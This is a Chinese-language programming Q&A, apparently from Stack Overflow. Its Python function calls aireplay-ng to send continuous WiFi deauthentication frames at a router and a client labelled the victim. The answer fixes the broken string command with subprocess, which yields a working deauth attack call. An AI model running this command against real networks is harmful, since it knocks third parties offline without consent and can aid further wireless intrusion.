【问题标题】:Invalid BSSID (AP MAC address)无效的 BSSID(AP MAC 地址)
【发布时间】:2015-04-07 17:42:08
【问题描述】:

在攻击开始时在终端中写这个命令,但是当我在脚本中写相同的命令时会出错。

无效的 BSSID(AP MAC 地址)。

“aireplay-ng --help”寻求帮助。

 def deauth(mac_roteur,mac_victime,essid):
 os.system('sudo aireplay-ng -0 0 -b'+ mac_roteur+'-c'+ mac_victime + '-e'+ essid +'--ignore-negative-one mon0')

我需要帮助。谢谢。

【问题讨论】:

    标签: python linux networking command-line


    【解决方案1】:

    如果你想运行命令,你应该使用subprocess 模块:

    from subprocess import check_call
    def deauth(mac_roteur,mac_victime,essid):
        check_call(['sudo', 'aireplay-ng','-0', '0', '-b', mac_roteur, '-c',  mac_victime, '-e',  essid, '--ignore-negative-one','mon0'])
    

    我假设您正在使用 sudo 运行脚本。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 2010-11-30
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2017-03-07
      • 2014-08-15
      • 2023-03-16
      相关资源
      最近更新 更多